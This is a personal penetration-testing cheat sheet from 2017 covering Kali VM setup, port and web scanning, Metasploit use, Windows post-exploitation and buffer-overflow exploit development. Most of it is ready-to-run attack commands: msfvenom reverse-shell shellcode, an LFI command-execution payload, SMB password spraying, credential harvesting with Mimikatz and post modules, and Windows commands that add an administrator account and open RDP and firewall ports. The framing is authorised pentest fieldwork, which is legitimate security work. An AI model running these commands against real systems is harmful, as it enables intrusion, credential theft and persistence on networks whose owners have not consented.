U.M.P.F

Ucki's Manual for Penetrationtests and Fieldwork V.1.5

Or the Sound I make when my Kali VM dies again

April 27, 2017

Contents

0.1 Kali VM Prepsheet

0.1.1 Basic System Prep

```
Change Keylayout !!!
-> click on the right little icon for settings -> language settings -> add german keyboard, delete english keyboard
Changing password
passwd

Getting additional packets:
Update the repro list
apt-get update
Support for 32/64 compiling etc
apt-get install gcc-multilib
XML-Tools to use searchsploit with nmap xml outputs
apt install -y libxml2-utils
Unicornscan, just to make sure that this is the newest
apt-get install unicornscan
Better VM feeling
apt -y -qq install open-vm-tools-desktop fuse
apt -y -qq install virtualbox-guest-x11
Getting Gobuster
apt-get install gobuster
Getting new exploits and the nmap search function
apt-get install exploitdb
Getting Autokey so we can set own ip etc to a hotkey
apt-get install autokey-gtk



Changing Nikto User Agent to be more sneaky:
gedit /etc/nikto.conf
-> change User Agent to: USERAGENT=Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko IE 11, or google your own string
```

Listing 1: Prepping a fresh KaliVM

0.1.2 Basic System Services

```
Setting up metasploit database
systemctl start postgresql
systemctl enable postgresql
In msfconsole
msfdb init
msfdb start

MSF update
msfupdate

Setting up Tftp (needs write righs on folder for uploads
Tftp needs to be started when needed, not on systemstart atm
mkdir /tftp
chmod -R 0777 /tftp
atftpd --daemon --port 69 /tftp

Apache without php
/usr/sbin/a2dismod php5
service apache2 restart
```

Listing 2: Prepping a fresh KaliVM-2- Setting up basic Services

0.1.3 Additional Tools

```
Getting some tools for post exploitation work
cd /var/www/html
mkdir tools
cd tools

Linux Exploit suggestor, new version THX mzet and pbateman
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
mv linux-exploit-suggester.sh linex
for version x locally /linex -k 3.0.0


Unix Priv. checker, the smaller version, less to transfer but finds less
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check
mv unix-privesc-check unixpriv
```

Listing 3: Prepping a fresh KaliVM-3 - Getting Tools

0.2 Commands

0.2.1 general Commands and random snipplets

```
List all msfvenom payloads
msfvenom -l payloads

Scanning
unicornscan -msf <IP>:a > nametcp.txt
unicornscan -mU <IP>:a > nameudp.txt

bluesquirrelscan
unicornscan -msf -R1 -L10 -p1-65535 -r 300 $1
-msf = mode tcp connect scan
-R = Repeats .. more is more accurate
-L timeout time
```

```
-r rate 300 packets per minute
-E error processing

-E = Error handling = show also closed ports, -mU = UDP, a LOT faster as nmap
cat name* | grep open
Bad way to get all ports in a line, I know awk etc would be better, but this is better than typing manual so ...
cat name*.txt |cut -d "[" -f 2 |cut -d "]" -f1 |sed 's/^ *//g' | tr "\n" ","
sed used to get rid of leading whitespaces, tr to get rid of the newline and put in a ,



Now we can use nmap a little more precise
nmap -sS -sU -sV --reason -vv -O --script vuln,default -p port1,port2 etc  <ip> -oA <name>
-sS = Tcp, -sU Udp, -sV Version scan (for heavy version scan --version-all ), vv= very verbose,-O = OS Detection, scripts vuln checks and default scans and finally generate all outputs we might need

Easy searchsploit for the low hanging fruits
searchsploit --nmap *.xml

Searchsploit
searchsploit <string> | grep -v '/dos/' G0tm1lks way to exclude DoS exploits
searchsploit -t <string> Search only in exploit titel
 --colour turns of highlighting to make grebbing easier

Banner grabbing for websites
 curl -i <ip>
 curl -i -L <ip>
-s for silent mode, better if you want to save it to file >name.txt

Looking at a webpage from the shell
```

```
curl <ip> -s -L | html2text -width '99' | uniq

ROBOTS.TXT CHECK !!!!!!!!
curl <ip>/robots.txt -s | html2text

Web bruteforcing, wordlist need to be changed depending on the services
Look into /usr/share/seclists/Discovery/Web_Content/
gobuster -u http://<ip>/ -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e

Rdesktop all the things
rdesktop -u user -p password \$ if you want $ etc <IP>

John stand alone:
john hashdump --wordlist /usr/share/wordlists/rockyou.txt

Redirecting output from the error to the default output, usefull if you don't see a output in a remote executed command
 2>&1
to test put the command localy with >/dev/null .. if there is a output than this is not your error

Escaping Shell HELL
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i



fun snippet - pipe a remote machine's live tcpdump into your local wireshark
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i -

 Fun with remote shares
showmount -e <ip> for nfs shares etc

flag for compiling for 64bit on 32bit kali with gcc
```

```
-m64

Don't know why but this might give you command execution if you have lfi
Curl -s --data "<?system (<'cmd'>);?>" LFI=php://input%00

Reading SSL certs, might leak information
openssl s_client -connect {HOSTNAME}:{PORT} -showcerts

To slow to type your commands in a nc listener ?
cat privesccore.txt | nc -lvp 443

Alternate php shell
/usr/share/laudanum/php/php-reverse-shell.php
```

Listing 4: commands

0.2.2 Metasploit

```

To make a session more stable
set Autorunscript post/windows/manage/migrate

Importing Nmap into Metasploit
db_import *.xml

SMB login spray and pray
use auxiliary/scanner/smb/smb_login
set SMBDomain DOMAIN
set SMBUser user
set SMBPass password
services -p 445 -R
run

Running john in msfconsole against found hashes
use auxiliary/analyze/jtr_crack_fast
run

Good post modules to run on windows
run post/windows/gather/credentials/credential_collector
run post/windows/gather/credentials/gpp
run post/windows/gather/enum_ms_product_keys
 In the real world there is no proof.txt, this is a good secret proof for a machine without putting secret data of your client in the report

Mimikatz
load mimikatz
 msv
kerberos
```

Listing 5: Metasploit

0.2.3 Windows Help

```
Long File/Foldernames
More than 8 characters are a problem
cd "Documents and Settings"
This is a really long filename.123.456.789.txt
-> Thisis~1.789
More under :
https://support.microsoft.com/en-us/help/142982/how-windows-generates-8.3-file-names-from-long-file-names


Activating Rdesktop from a win shell
net user /add ucki ucki
net localgroup administrators ucki /add
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
sc config TermService start= auto
net start Termservice
netsh.exe firewall add portopening TCP 3389 "Rm"
netsh.exe firewall add portopening TCP 443 "NC"

Checking a service
sc qc <servicename>


sc qc to check a service , net start to show all service

For good Systemoverview
Systeminfo
```

Listing 6: Windows commands

0.3 Buffer help

1. Attach Debbuger
2. Launch POC and look what happens
3. Pattern create -> find Offset
4. Test Offset with unique string (remember it reads backwards)
5. Look for Space -> if 400 Bytes after EIP you are good, otherwise look if other registers point to a place before the EIP were you can write (Double click n Dump address)
6. Find Bad chars
7. Search JMP ESP without protection (!mona modules)
8. Test the JMP with Breakpoint
9. Build Payload and test it (Don't forget your nops)

0.3.1 commands

```
Creating: (Depending on MSF Version)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb <length> >pattern.txt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length> >pattern.txt
Finding:(Depending on MSF Version)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb  <value in EIP> <length>
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q <value in EIP>

Mona
!mona modules
!mona find -s "\xff\xe4" -m <dll or so to search in>
FFE4 = "JMP ESP"
Remember the Big Endian / Low Endian Thing !!!

Shellcode
 msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 -f c -e x86/shikata_ga_nai -b "<badchars>" EXITFUNC=thread> shellcode.txt
```

Listing 7: BOF Commands

0.3.2 Badcharbuffer

```
badchar = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\
x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
```

Listing 8: Bad char buffer